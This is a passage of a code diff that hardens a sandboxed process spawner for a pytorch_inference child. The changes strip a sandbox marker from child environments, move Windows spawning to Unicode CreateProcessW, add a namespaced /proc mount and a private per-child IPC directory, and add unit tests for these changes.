cmdLine += CShellArgQuoter::quote(args[index]); } - STARTUPINFO startupInfo; - ::memset(&startupInfo, 0, sizeof(STARTUPINFO)); - startupInfo.cb = sizeof(STARTUPINFO); + STARTUPINFOW startupInfo; + ::memset(&startupInfo, 0, sizeof(STARTUPINFOW)); + startupInfo.cb = sizeof(STARTUPINFOW); PROCESS_INFORMATION processInformation; ::memset(&processInformation, 0, sizeof(PROCESS_INFORMATION)); + // CreateProcessW (not CreateProcessA) is used throughout this function + // because lpEnvironment below must be a native UTF-16 block passed with + // CREATE_UNICODE_ENVIRONMENT - CreateProcess() does not support mixing + // an ANSI command line/application name with a Unicode environment + // block. processPath/cmdLine are converted to wide strings with + // CStringUtils::narrowToWide() (the established conversion helper in + // this codebase) purely for this call; they are not the source of the + // regression this switch fixes (see below). + const std::wstring wideProcessPath{CStringUtils::narrowToWide( + processPathHasExeExt ? processPath : processPath + ".exe")}; + std::wstring wideCmdLine{CStringUtils::narrowToWide(cmdLine)}; + + // The child inherits this process's environment with ML_SANDBOXED + // removed. That variable is the Sandbox2 sandboxee marker (see + // lib/sandbox/CSandboxedProcessSpawner_Linux.cc) and pytorch_inference + // skips its mandatory in-process seccomp filter when it sees + // ML_SANDBOXED=1 (include/seccomp/CSystemCallFilter.h + // sandbox2LaunchedChild()). A child spawned here is by definition *not* + // inside Sandbox2, so inheriting the marker - however it got into this + // process's own environment, e.g. injected by an orchestration layer - + // would fail open: the child would run untrusted model code with + // neither the executor policy nor its own filter. Stripping it here + // makes the legacy route's filter installation unconditional regardless + // of the spawning process's environment. Passing an explicit + // lpEnvironment (rather than 0, which would make CreateProcess() + // inherit this process's environment completely unfiltered) is what + // makes this stripping effective. + // + // GetEnvironmentStringsW()/CreateProcessW() end to end, deliberately: + // the parent's environment is native UTF-16, and reading it via the + // ANSI GetEnvironmentStringsA() (as this used to) round-trips it + // through the ANSI code page, which silently mangles any value not + // representable there (e.g. TEMP/USERPROFILE under a non-ASCII Windows + // username) to '?' for every Windows child - a regression the addition + // of this stripping logic must not introduce as a side effect. + LPWSTR parentEnvironmentBlock{::GetEnvironmentStringsW()}; + std::wstring childEnvironmentBlock{detail::buildChildEnvironmentBlock(parentEnvironmentBlock)}; + if (parentEnvironmentBlock != 0) { + ::FreeEnvironmentStringsW(parentEnvironmentBlock); + } + { // Hold the tracker thread mutex until the PID is added to the tracker // to avoid a race condition if the process is started but dies really // quickly CScopedLock lock(m_TrackerThread->mutex()); - if (CreateProcess( - (processPathHasExeExt ? processPath : processPath + ".exe").c_str(), - const_cast(cmdLine.c_str()), 0, 0, FALSE, + if (CreateProcessW( + wideProcessPath.c_str(), + const_cast(wideCmdLine.c_str()), 0, 0, FALSE, // The CREATE_NO_WINDOW flag is used instead of // DETACHED_PROCESS, as Windows does not create the file handles // that underlie stdin, stdout and stderr if a process has no @@ -201,8 +297,13 @@ bool CDetachedProcessSpawner::spawn(const std::string& processPath, // None of this would be a problem if we redirected stderr using // freopen(), but instead we redirect the underlying OS level // file handles so that we can revert the redirection. - CREATE_NEW_PROCESS_GROUP | CREATE_NO_WINDOW, 0, 0, &startupInfo, - &processInformation) == FALSE) { + // CREATE_UNICODE_ENVIRONMENT tells CreateProcessW() that + // lpEnvironment below is a native UTF-16 block (the default, + // without this flag, is an ANSI block, which would silently + // misinterpret it). + CREATE_NEW_PROCESS_GROUP | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, + const_cast(childEnvironmentBlock.data()), 0, + &startupInfo, &processInformation) == FALSE) { LOG_ERROR(<< "Failed to spawn '" << processPath << "': " << CWindowsError()); return false; } diff --git a/lib/core/unittest/CDetachedProcessSpawnerTest.cc b/lib/core/unittest/CDetachedProcessSpawnerTest.cc index 25cbe4563c..4a27865345 100644 --- a/lib/core/unittest/CDetachedProcessSpawnerTest.cc +++ b/lib/core/unittest/CDetachedProcessSpawnerTest.cc @@ -11,14 +11,19 @@ #include #include +#include #include +#include #include #include #include #include +#include +#include #include +#include BOOST_AUTO_TEST_SUITE(CDetachedProcessSpawnerTest) @@ -46,6 +51,48 @@ const std::string PROCESS_ARGS1[] = { const std::string PROCESS_PATH2("/bin/sleep"); const std::string PROCESS_ARGS2[] = {"10"}; #endif + +#ifndef Windows +//! RAII guard that sets an environment variable for the duration of a scope +//! and restores whatever was there before (or unsets it, if it was unset) +//! on destruction - including when the scope is exited via an exception, +//! e.g. a failed BOOST_REQUIRE* mid-test. Without this, an early test +//! failure could skip a manual unSetEnv() call at the end of a test +//! function and leak the variable into every subsequent test in this +//! binary's process. Same idiom as +//! bin/controller/unittest/CCommandProcessorTest.cc's +//! CScopedSandbox2DefaultEnforced and +//! bin/controller/unittest/CProcessSpawnerRouterTest.cc's +//! CScopedChildIpcRoot. +class CScopedEnvVar { +public: + CScopedEnvVar(std::string name, const char* value) + : m_Name(std::move(name)) { + const char* previous{std::getenv(m_Name.c_str())}; + m_HadPreviousValue = previous != nullptr; + if (m_HadPreviousValue) { + m_PreviousValue.assign(previous); + } + BOOST_REQUIRE_EQUAL(0, ml::core::CSetEnv::setEnv(m_Name.c_str(), value, 1)); + } + + ~CScopedEnvVar() { + if (m_HadPreviousValue) { + ml::core::CSetEnv::setEnv(m_Name.c_str(), m_PreviousValue.c_str(), 1); + } else { + ml::core::CUnSetEnv::unSetEnv(m_Name.c_str()); + } + } + + CScopedEnvVar(const CScopedEnvVar&) = delete; + CScopedEnvVar& operator=(const CScopedEnvVar&) = delete; + +private: + std::string m_Name; + std::string m_PreviousValue; + bool m_HadPreviousValue{false}; +}; +#endif // !Windows } BOOST_AUTO_TEST_CASE(testSpawn) { @@ -123,4 +170,157 @@ BOOST_AUTO_TEST_CASE(testNonExistent) { "./does_not_exist", ml::core::CDetachedProcessSpawner::TStrVec())); } +#ifndef Windows +BOOST_AUTO_TEST_CASE(testMlSandboxedStrippedFromChildEnvironment) { + // ML_SANDBOXED=1 is the Sandbox2 sandboxee marker + // (lib/sandbox/CSandboxedProcessSpawner_Linux.cc) and pytorch_inference + // skips its mandatory in-process seccomp filter when it sees it + // (include/seccomp/CSystemCallFilter.h sandbox2LaunchedChild()). A child + // spawned by this class is never inside Sandbox2, so it must never + // inherit the marker - not even when the spawning process's own + // environment carries it. + CScopedEnvVar scopedSandboxed{"ML_SANDBOXED", "1"}; + CScopedEnvVar scopedKeepMe{"ML_SANDBOXED_KEEP_ME", "1"}; + + // Pure form: the array handed to posix_spawn() drops ML_SANDBOXED, + // keeps everything else in order, and is NULL terminated. Exact-name + // match only, so a different variable sharing the prefix survives. + { + std::vector parentEntries{"PATH=/bin", "ML_SANDBOXED=1", + "ML_SANDBOXED_KEEP_ME=1", "TMPDIR=/tmp"}; + std::vector parentEnv; + for (auto& entry : parentEntries) { + parentEnv.push_back(const_cast(entry.c_str())); + } + parentEnv.push_back(static_cast(nullptr)); + + auto childEnv = ml::core::detail::buildChildEnvironment(&parentEnv[0]); + BOOST_REQUIRE_EQUAL(std::size_t(4), childEnv.size()); + BOOST_REQUIRE_EQUAL(std::string("PATH=/bin"), std::string(childEnv[0])); + BOOST_REQUIRE_EQUAL(std::string("ML_SANDBOXED_KEEP_ME=1"), + std::string(childEnv[1])); + BOOST_REQUIRE_EQUAL(std::string("TMPDIR=/tmp"), std::string(childEnv[2])); + BOOST_REQUIRE_EQUAL(static_cast(nullptr), childEnv[3]); + } + + BOOST_REQUIRE_EQUAL(true, ml::core::detail::isStrippedChildEnvEntry("ML_SANDBOXED=1")); + BOOST_REQUIRE_EQUAL(true, ml::core::detail::isStrippedChildEnvEntry("ML_SANDBOXED=")); + BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry("ML_SANDBOXED_KEEP_ME=1")); + BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry("ML_SANDBOX=1")); + BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry(nullptr)); + + // End to end: a real spawned child reports what it actually inherited. + // Its stdout is redirected to /dev/null by the spawner, so the shell + // writes the value to a file instead. + const std::string envDumpFile{"child_ml_sandboxed.txt"}; + std::remove(envDumpFile.c_str()); + + const std::string shell{"/bin/sh"}; + ml::core::CDetachedProcessSpawner::TStrVec permittedPaths(1, shell); + ml::core::CDetachedProcessSpawner spawner(permittedPaths); + + ml::core::CDetachedProcessSpawner::TStrVec args{ + "-c", "echo \"[${ML_SANDBOXED-unset}][${ML_SANDBOXED_KEEP_ME-unset}]\" > " + envDumpFile}; + BOOST_TEST_REQUIRE(spawner.spawn(shell, args)); + + std::string dumped; + for (int attempt = 0; attempt < 20 && dumped.empty(); ++attempt) { + std::this_thread::sleep_for(std::chrono::milliseconds(100)); + std::ifstream ifs{envDumpFile}; + if (ifs.is_open()) { + std::getline(ifs, dumped); + } + } + + BOOST_REQUIRE_EQUAL(std::string("[unset][1]"), dumped); + + std::remove(envDumpFile.c_str()); + // scopedSandboxed/scopedKeepMe restore the environment on scope exit, + // including if a BOOST_REQUIRE* above already failed. +} +#endif // !Windows + +#ifdef Windows +BOOST_AUTO_TEST_CASE(testMlSandboxedStrippedFromChildEnvironmentBlock) { + // Windows analog of testMlSandboxedStrippedFromChildEnvironment above: + // ML_SANDBOXED=1 is the Sandbox2 sandboxee marker and pytorch_inference + // skips its mandatory in-process seccomp filter when it sees it (see + // include/seccomp/CSystemCallFilter.h sandbox2LaunchedChild()). A child + // spawned by this class is never inside Sandbox2, so it must never + // inherit the marker via the environment block passed to + // CreateProcessW()'s lpEnvironment parameter - not even when the + // spawning process's own environment carries it. + // + // Operates on wchar_t/std::wstring throughout, matching + // GetEnvironmentStringsW()/CreateProcessW() end to end - not the ANSI + // GetEnvironmentStringsA()/CreateProcessA() this used to test, which + // round-tripped the parent's native UTF-16 environment through the ANSI + // code page and could silently mangle non-ASCII values. + BOOST_REQUIRE_EQUAL(true, ml::core::detail::isStrippedChildEnvEntry(L"ML_SANDBOXED=1")); + BOOST_REQUIRE_EQUAL(true, ml::core::detail::isStrippedChildEnvEntry(L"ML_SANDBOXED=")); + BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry(L"ML_SANDBOXED_KEEP_ME=1")); + BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry(L"ML_SANDBOX=1")); + BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry(nullptr)); + // Windows environment variable names are case-INSENSITIVE OS-wide, and + // the child-side reader (std::getenv, via CSystemCallFilter's + // sandbox2LaunchedChild()) matches case-insensitively too. A + // differently-cased marker must still be recognised and stripped here, + // or it would survive the filter and still be found by the child. + BOOST_REQUIRE_EQUAL(true, ml::core::detail::isStrippedChildEnvEntry(L"ml_sandboxed=1")); + BOOST_REQUIRE_EQUAL(true, ml::core::detail::isStrippedChildEnvEntry(L"Ml_Sandboxed=1")); + BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry(L"ml_sandboxed_keep_me=1")); + + // Build a synthetic Windows environment block: NUL-terminated + // "NAME=VALUE" strings back to back, with an extra terminating NUL after + // the last entry's own NUL. + auto appendEntry = [](std::wstring& block, const std::wstring& entry) { + block.append(entry); + block.push_back(L'\0'); + }; + std::wstring parentBlock; + appendEntry(parentBlock, L"PATH=C:\\Windows"); + appendEntry(parentBlock, L"ML_SANDBOXED=1"); + appendEntry(parentBlock, L"ML_SANDBOXED_KEEP_ME=1"); + appendEntry(parentBlock, L"ml_sandboxed=2"); + appendEntry(parentBlock, L"TMP=C:\\Temp"); + parentBlock.push_back(L'\0'); + + std::wstring childBlock{ + ml::core::detail::buildChildEnvironmentBlock(parentBlock.c_str())}; + + // Walk the resulting block and confirm ML_SANDBOXED is gone but + // everything else survives, in order, and the block is still + // double-NUL-terminated. + std::vector childEntries; + const wchar_t* entry{childBlock.c_str()}; + while (*entry != L'\0') { + std::wstring entryStr(entry); + childEntries.push_back(entryStr); + entry += entryStr.length() + 1; + } + + // Both the canonically-cased and the differently-cased marker + // ("ml_sandboxed=2") must be stripped: Windows env var lookups are + // case-insensitive, so either form would still be visible to the + // child's std::getenv("ML_SANDBOXED") if it survived here. + BOOST_REQUIRE_EQUAL(std::size_t(3), childEntries.size()); + BOOST_REQUIRE(std::wstring(L"PATH=C:\\Windows") == childEntries[0]); + BOOST_REQUIRE(std::wstring(L"ML_SANDBOXED_KEEP_ME=1") == childEntries[1]); + BOOST_REQUIRE(std::wstring(L"TMP=C:\\Temp") == childEntries[2]); + // Two-NUL block terminator: the last byte and the one before it are NUL. + BOOST_TEST_REQUIRE(childBlock.size() >= 2); + BOOST_REQUIRE(L'\0' == childBlock[childBlock.size() - 1]); + BOOST_REQUIRE(L'\0' == childBlock[childBlock.size() - 2]); + + // Empty-environment edge case still produces a valid double-NUL block. + std::wstring emptyParentBlock; + emptyParentBlock.push_back(L'\0'); + std::wstring emptyChildBlock{ + ml::core::detail::buildChildEnvironmentBlock(emptyParentBlock.c_str())}; + BOOST_REQUIRE_EQUAL(std::size_t(2), emptyChildBlock.size()); + BOOST_REQUIRE(L'\0' == emptyChildBlock[0]); + BOOST_REQUIRE(L'\0' == emptyChildBlock[1]); +} +#endif // Windows + BOOST_AUTO_TEST_SUITE_END() diff --git a/lib/sandbox/CMakeLists.txt b/lib/sandbox/CMakeLists.txt index 06a316469e..58c897ee44 100644 --- a/lib/sandbox/CMakeLists.txt +++ b/lib/sandbox/CMakeLists.txt @@ -10,10 +10,12 @@ # # MlSandbox links Sandbox2/Abseil and builds a runnable Sandbox2 forkserver -# on Linux, and now a typed filesystem/network launch policy for a -# pytorch_inference child. No controller or pytorch_inference routing -# depends on it yet - the process spawner and controller wiring land in -# follow-up PRs. +# on Linux (the dormant Sandbox2/Abseil dependency foundation, ml-cpp#3181), +# and now the typed filesystem/network launch policy (ml-cpp#3185). +# bin/controller/CProcessSpawnerRouter (see bin/controller/CMakeLists.txt's +# MlSandbox link) is that controller wiring; pytorch_inference's in-process +# seccomp path (include/seccomp/CSystemCallFilter.h) consults this library's +# CMlSandboxAvailability query too. project("ML Sandbox") diff --git a/lib/sandbox/CPytorchInferenceSandboxPolicy.cc b/lib/sandbox/CPytorchInferenceSandboxPolicy.cc index 3fd7efca1d..6eb07b11a2 100644 --- a/lib/sandbox/CPytorchInferenceSandboxPolicy.cc +++ b/lib/sandbox/CPytorchInferenceSandboxPolicy.cc @@ -11,12 +11,15 @@ #include #ifdef _WIN32 +#include // _mkdir #include // _fullpath, _MAX_PATH #else #include // PATH_MAX -#include +#include // mkdir #endif +#include + #include #include @@ -91,6 +94,30 @@ bool canonicalize(const std::string& dir, std::string& canonicalOut) { return true; } +//! mkdir(dir, 0700), tolerating "already exists" as success (a retry/ +//! restart reusing the same child-id must not fail here) so callers can +//! treat this as idempotent "ensure this directory exists with the right +//! mode" rather than a one-shot creation. Any other failure (permissions, +//! ENOSPC, a non-directory already occupying \p dir, a missing parent, ...) +//! is reported back to the caller rather than silently ignored. +bool makeChildIpcDirectory(const std::string& dir) { +#ifdef _WIN32 + // Nothing wires this up on Windows today (Sandbox2 is Linux-only), but + // this TU must still compile everywhere - same rationale as + // canonicalize()'s _WIN32 branch above. _mkdir() has no mode parameter; + // that is inert until a Windows caller exists. + if (::_mkdir(dir.c_str()) == 0) { + return true; + } + return errno == EEXIST; +#else + if (::mkdir(dir.c_str(), 0700) == 0) { + return true; + } + return errno == EEXIST; +#endif +} + } // namespace SChildIpcValidationResult validateChildIpcLaunchSpec(const std::string& trustedTmpDir, @@ -234,6 +261,85 @@ SChildIpcValidationResult validateChildIpcLaunchSpec(const std::string& trustedT return result; } +EChildIpcDirectoryOutcome ensureChildIpcDirectory(const std::string& trustedTmpDir, + const std::vector& args) { + // Strip a trailing slash so the concatenation below never produces "//". + std::string base{trustedTmpDir}; + while (base.empty() == false && base.back() == '/') { + base.pop_back(); + } + const std::string mlChildIpcDir{base + "/ml-child-ipc"}; + const std::string expectedPrefix{mlChildIpcDir + "/"}; + + bool sawPathOption{false}; + std::string childId; + + for (const std::string& arg : args) { + const std::size_t eqPos = arg.find('='); + if (eqPos == std::string::npos) { + continue; + } + + std::string optionName{arg.substr(0, eqPos)}; + while (optionName.empty() == false && optionName[0] == '-') { + optionName.erase(0, 1); + } + if (isPathOptionName(optionName) == false) { + continue; + } + sawPathOption = true; + + const std::string value{eqPos + 1 < arg.size() ? arg.substr(eqPos + 1) + : std::string{}}; + if (value.empty() || value[0] != '/') { + // Malformed - validateChildIpcLaunchSpec() below reports the + // precise reason (E_NotAbsolute); nothing to create here. + continue; + } + + const std::vector components{splitPathComponents(value)}; + if (containsDotDot(components) || components.size() < 2) { + continue; + } + + const std::size_t lastSlash = value.rfind('/'); + const std::string literalParent{value.substr(0, lastSlash)}; + + // A literal (pre-canonicalization) structural match against + // trustedTmpDir/ml-child-ipc/. This is + // deliberately not the security check - it only decides what this + // function is willing to mkdir(). validateChildIpcLaunchSpec() + // still performs the real canonical-base/symlink-alias checks + // afterwards against whatever directory this creates or finds. + if (literalParent.compare(0, expectedPrefix.size(), expectedPrefix) != 0) { + continue; + } + const std::string candidateChildId{literalParent.substr(expectedPrefix.size())}; + if (candidateChildId.empty() || candidateChildId.find('/') != std::string::npos) { + continue; // not exactly one component below ml-child-ipc. + } + + // One child-id per spawn() call: the first path option that matches + // the expected shape is enough to know which directory to create. + // A second option naming a *different* child-id is a caller bug + // that validateChildIpcLaunchSpec() below rejects explicitly + // (E_ChildIdMismatch); this function does not need to pre-empt + // that here. + childId = candidateChildId; + break; + } + + if (sawPathOption == false || childId.empty()) { + return EChildIpcDirectoryOutcome::E_NoPathOptions; + } + + if (makeChildIpcDirectory(mlChildIpcDir) == false || + makeChildIpcDirectory(mlChildIpcDir + "/" + childId) == false) { + return EChildIpcDirectoryOutcome::E_CreationFailed; + } + return EChildIpcDirectoryOutcome::E_Ready; +} + #ifdef SANDBOX2_AVAILABLE const std::vector& fixedMountDecisions() { @@ -256,11 +362,24 @@ const std::vector& fixedMountDecisions() { "individually justified files pytorch_inference/libtorch actually " "need instead."}, {"/proc", EFixedMountAction::E_MountNamespacedProcfs, - "Sandbox2 mounts a fresh procfs inside the sandbox's own PID " - "namespace; binding the host's /proc would leak every other " - "process's memory maps and command lines into the sandbox."}, - {"/sys", EFixedMountAction::E_MountNamespacedProcfs, - "Same reason as /proc: nothing in this policy binds host /sys."}, + "Bind /proc into the sandbox rootfs. Sandbox2 mounts a fresh " + "PID-namespaced procfs at /proc before it builds and pivots into " + "the chroot, but that mount lives on the outer root and is detached " + "with it, so the pivoted rootfs has no /proc unless we add one. " + "Adding /proc here binds that already-namespaced procfs (never the " + "host's), exposing only the sandbox's own PID namespace - verified " + "inside the sandbox, /proc shows exactly the sandboxee's own PIDs, " + "not the host's. Without it readlink(/proc/self/exe) and " + "open(/proc/self/maps) both fail with ENOENT, which breaks Intel " + "oneMKL's runtime dispatcher: it reads /proc/self/exe to self-locate " + "and dlopen its CPU-specific libmkl_*.so.3 kernels, and aborts with " + "'Intel oneMKL FATAL ERROR: Cannot load ' when that " + "read fails."}, + {"/sys", EFixedMountAction::E_Skip, + "Not mounted: nothing in this policy binds host /sys, and unlike " + "/proc there is no fresh namespaced /sys to bind (Sandbox2 mounts " + "one only under a new network namespace). pytorch_inference/libtorch " + "run without it."}, }; return DECISIONS; } @@ -315,6 +434,15 @@ buildPytorchInferenceFilesystemPolicy(const std::string& binDir, policyBuilder.AllowSyscall(syscallNr); } + // Sandbox2's namespace/threading setup exercises syscalls (scheduling, + // epoll, pipes, directory management) that the legacy in-process filter + // above never needed a grant for - granting only legacyBpfAllowedSyscalls() + // here is not sufficient. See sandbox2ExplicitSyscalls()'s doc comment for + // why this is a separate list rather than a superset relationship. + for (int syscallNr : seccomp::pytorch_inference::sandbox2ExplicitSyscalls()) { + policyBuilder.AllowSyscall(syscallNr); + } + policyBuilder.AddDirectory(binDir, /*is_ro=*/true); policyBuilder.AddDirectory(libDir, /*is_ro=*/true); @@ -336,10 +464,15 @@ buildPytorchInferenceFilesystemPolicy(const std::string& binDir, break; } case EFixedMountAction::E_MountNamespacedProcfs: + // Bind the fresh, PID-namespaced procfs Sandbox2 mounts before + // it pivots into the chroot (see the /proc decision comment). + // This is a bind of the sandbox's own namespaced /proc, not the + // host's, so it does not leak host process state. + policyBuilder.AddDirectory(decision.s_Path, /*is_ro=*/true); + break; case EFixedMountAction::E_Skip: - // Sandbox2 supplies its own namespaced procfs/sysfs - // automatically; nothing to add here for either case, and - // adding decision.s_Path would bind the host directory instead. + // Nothing to add; adding decision.s_Path would bind the host + // directory instead. break; } } @@ -363,11 +496,16 @@ buildPytorchInferenceFilesystemPolicy(const std::string& binDir, // Private, bounded tmpfs - never the host's shared /tmp. policyBuilder.AddTmpfs("/tmp", tmpfsSizeBytes); - // The one per-child IPC root, mapped read-write to a fixed in-sandbox - // path. spec must already be s_Ok (validateChildIpcLaunchSpec), so - // s_ChildIpcRoot is exactly $TMPDIR/ml-child-ipc/ - never - // ml-child-ipc itself, never a sibling child's directory. - policyBuilder.AddDirectoryAt(spec.s_ChildIpcRoot, "/run/elastic/ml-ipc", /*is_ro=*/false); + // The one per-child IPC root, mapped read-write at the same path inside + // and outside the sandbox. spec must already be s_Ok + // (validateChildIpcLaunchSpec), so s_ChildIpcRoot is exactly + // $TMPDIR/ml-child-ipc/ - never ml-child-ipc itself, never a + // sibling child's directory. Same-path (not a remapped in-sandbox path) + // because pytorch_inference receives its --input=/--output=/--restore=/ + // --logPipe= argv from Elasticsearch as host paths under this root; a + // remap would leave those paths unresolvable inside the sandbox's own + // mount namespace. + policyBuilder.AddDirectory(spec.s_ChildIpcRoot, /*is_ro=*/false); return policyBuilder; } diff --git a/lib/sandbox/CSandboxedProcessSpawner_Linux.cc b/lib/sandbox/CSandboxedProcessSpawner_Linux.cc index f128be047c..deff7102cc 100644 --- a/lib/sandbox/CSandboxedProcessSpawner_Linux.cc +++ b/lib/sandbox/CSandboxedProcessSpawner_Linux.cc @@ -412,12 +412,28 @@ bool CSandboxedProcessSpawner::spawn(const std::string& processPath, fullArgs.push_back(arg); } + // Create $TMPDIR/ml-child-ipc/ (mode 0700) before anything + // tries to resolve it: validateChildIpcLaunchSpec() below does live + // realpath() calls, which require the target to already exist. This is + // the native controller's half of the contract - Elasticsearch only + // ever constructs the path *strings* it passes on the command line, it + // never creates the directory those paths live in. A creation failure + // for a reason other than "already exists" (permissions, disk full, + // ...) is logged distinctly here, then still flows into the normal + // validation call below, which fails closed with a defined rejection + // reason (E_CanonicalizationFailed) rather than a crash or a silent + // pass. + const char* tmpDirEnv{::getenv("TMPDIR")}; + const std::string trustedTmpDir{tmpDirEnv != nullptr ? tmpDirEnv : "/tmp"}; + if (ensureChildIpcDirectory(trustedTmpDir, args) == EChildIpcDirectoryOutcome::E_CreationFailed) { + LOG_ERROR(<< "Failed to create the per-child IPC directory under " << trustedTmpDir + << "/ml-child-ipc for " << processPath << ": " << ::strerror(errno)); + } + // Validate every path-bearing launch argument against the pinned // child-root contract *before* a policy is ever constructed. s_Ok == // false must fail the spawn outright - never fall back to a // partially-built policy. - const char* tmpDirEnv{::getenv("TMPDIR")}; - const std::string trustedTmpDir{tmpDirEnv != nullptr ? tmpDirEnv : "/tmp"}; const SChildIpcValidationResult validated{validateChildIpcLaunchSpec(trustedTmpDir, args)}; if (validated.s_Ok == false) { std::ostringstream rejected; diff --git a/lib/sandbox/unittest/CMakeLists.txt b/lib/sandbox/unittest/CMakeLists.txt index c29e1fc1e2..544045e7b8 100644 --- a/lib/sandbox/unittest/CMakeLists.txt +++ b/lib/sandbox/unittest/CMakeLists.txt @@ -44,6 +44,7 @@ if(TARGET sandbox2::sandbox2 AND CMAKE_SYSTEM_NAME STREQUAL "Linux") list(APPEND SRCS CSandboxForkserverSmokeTest.cc) list(APPEND SRCS CPytorchInferenceSandboxPolicyMechanismTest_Linux.cc) list(APPEND SRCS CSandboxedProcessSpawnerLifecycleTest_Linux.cc) + list(APPEND SRCS CSandboxUserNamespaceProbeTest_Linux.cc) list(APPEND ML_LINK_LIBRARIES sandbox2::sandbox2) # Deliberately-dependency-free sandboxee payload for the smoke test above. @@ -75,8 +76,8 @@ if(TARGET sandbox2::sandbox2 AND CMAKE_SYSTEM_NAME STREQUAL "Linux") RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/payloads ) - # Long-lived sandboxee for CSandboxedProcessSpawnerLifecycleTest_Linux - # (Task 4). Unlike the two payloads above, this one is launched through + # Long-lived sandboxee for CSandboxedProcessSpawnerLifecycleTest_Linux. + # Unlike the two payloads above, this one is launched through # CSandboxedProcessSpawner::spawn() itself (not a hand-built Sandbox2 # policy), which derives its filesystem policy's binDir/libDir from the # payload's own resolved path: binDir is this payload's directory @@ -96,6 +97,21 @@ if(TARGET sandbox2::sandbox2 AND CMAKE_SYSTEM_NAME STREQUAL "Linux") POSITION_INDEPENDENT_CODE TRUE RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/payloads ) + + # Staged user-namespace capability probe for the ML_SANDBOX2_REQUIRE CI + # wiring. Same dependency-free, dynamically-linked pattern as the payloads + # above, for the same CI-image reason. Unlike + # ml_sandbox_probe, this one is never run through a Sandbox2 + # Executor/policy - CSandboxUserNamespaceProbeTest_Linux execs it directly + # as a plain host subprocess, since it probes the ambient CI environment's + # userns capability, not a Sandbox2 policy. + add_executable(ml_sandbox_userns_probe EXCLUDE_FROM_ALL + payloads/ml_sandbox_userns_probe.cc + ) + set_target_properties(ml_sandbox_userns_probe PROPERTIES + POSITION_INDEPENDENT_CODE TRUE + RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/payloads + ) endif() ml_add_test_executable(sandbox ${SRCS}) @@ -120,3 +136,10 @@ if(TARGET lifecycle_signal_payload) ML_SANDBOX2_LIFECYCLE_PAYLOAD="$" ) endif() + +if(TARGET ml_sandbox_userns_probe) + add_dependencies(ml_test_sandbox ml_sandbox_userns_probe) + target_compile_definitions(ml_test_sandbox PRIVATE + ML_SANDBOX2_USERNS_PROBE_PAYLOAD="$" + ) +endif() diff --git a/lib/sandbox/unittest/CPytorchInferenceSandboxPolicyMechanismTest_Linux.cc b/lib/sandbox/unittest/CPytorchInferenceSandboxPolicyMechanismTest_Linux.cc index c22e010e26..e4b050cc6e 100644 --- a/lib/sandbox/unittest/CPytorchInferenceSandboxPolicyMechanismTest_Linux.cc +++ b/lib/sandbox/unittest/CPytorchInferenceSandboxPolicyMechanismTest_Linux.cc @@ -123,7 +123,10 @@ BOOST_AUTO_TEST_CASE(testMinimizedPolicyEnforcesEveryMechanism) { BOOST_TEST_REQUIRE(validated.s_Ok); const std::string payloadPath{ML_SANDBOX2_PROBE_PAYLOAD}; - const std::vector probeArgs{payloadPath, "/run/elastic/ml-ipc"}; + // The IPC root is now mounted at the same path inside and outside the + // sandbox (no /run/elastic/ml-ipc remap), so the probe is handed the + // same host-visible childRoot path the test itself uses below. + const std::vector probeArgs{payloadPath, childRoot}; auto executor = std::make_unique(payloadPath, probeArgs); executor->limits()->set_rlimit_cpu(10).set_walltime_limit(absl::Seconds(10)); @@ -148,11 +151,11 @@ BOOST_AUTO_TEST_CASE(testMinimizedPolicyEnforcesEveryMechanism) { BOOST_TEST_REQUIRE(result.final_status() == sandbox2::Result::OK); // The child IPC directory is genuinely shared with the host, so the - // probe's results file - written from inside the sandbox to the mapped - // /run/elastic/ml-ipc path - is readable here at its host-visible - // childRoot path once the sandbox has exited. This IS the "allowed IPC - // access" proof, not a separate assertion: if the mount/policy were - // wrong, this file would never appear. + // probe's results file - written from inside the sandbox to childRoot, + // the same path outside it - is readable here once the sandbox has + // exited. This IS the "allowed IPC access" proof, not a separate + // assertion: if the mount/policy were wrong, this file would never + // appear. const std::string resultsContent{readFileOrEmpty(childRoot + "/results.txt")}; BOOST_TEST_REQUIRE(resultsContent.empty() == false); BOOST_TEST_REQUIRE(resultsContent.find("reached=true") != std::string::npos); @@ -170,6 +173,11 @@ BOOST_AUTO_TEST_CASE(testMinimizedPolicyEnforcesEveryMechanism) { BOOST_TEST_REQUIRE(std::stoi(detailFor(resultsContent, "etc_enumeration")) <= 10); BOOST_REQUIRE_EQUAL(outcomeFor(resultsContent, "pid_namespace"), "namespaced"); + + // /proc/self/exe must resolve inside the sandbox - the mount whose + // absence broke Intel oneMKL's library dispatcher ("Cannot load + // "). Guards the /proc entry in fixedMountDecisions(). + BOOST_REQUIRE_EQUAL(outcomeFor(resultsContent, "proc_self_exe"), "readable"); BOOST_REQUIRE_EQUAL(outcomeFor(resultsContent, "loopback_reachable"), "ok"); ::unlink((childRoot + "/probe.txt").c_str()); diff --git a/lib/sandbox/unittest/CPytorchInferenceSandboxPolicyTest.cc b/lib/sandbox/unittest/CPytorchInferenceSandboxPolicyTest.cc index 60c8e86aee..bf8d19dbb8 100644 --- a/lib/sandbox/unittest/CPytorchInferenceSandboxPolicyTest.cc +++ b/lib/sandbox/unittest/CPytorchInferenceSandboxPolicyTest.cc @@ -72,6 +72,44 @@ class CTempChildIpcFixture { std::string m_ChildRoot; }; +//! Creates only the *trusted base* directory ($TMPDIR itself) - deliberately +//! leaving ml-child-ipc/ absent, matching the real, pre-fix +//! production bug: Elasticsearch/CCommandProcessor only ever constructs the +//! --input=/--output=/--restore=/--logPipe= path *strings*; nothing had +//! created the directory those paths live in by the time +//! validateChildIpcLaunchSpec()'s realpath() calls ran. Tests using this +//! fixture drive ensureChildIpcDirectory() themselves, rather than +//! mkdir()-ing the child directory in setup the way CTempChildIpcFixture +//! does. +class CTrustedBaseOnlyFixture { +public: + CTrustedBaseOnlyFixture() { + char 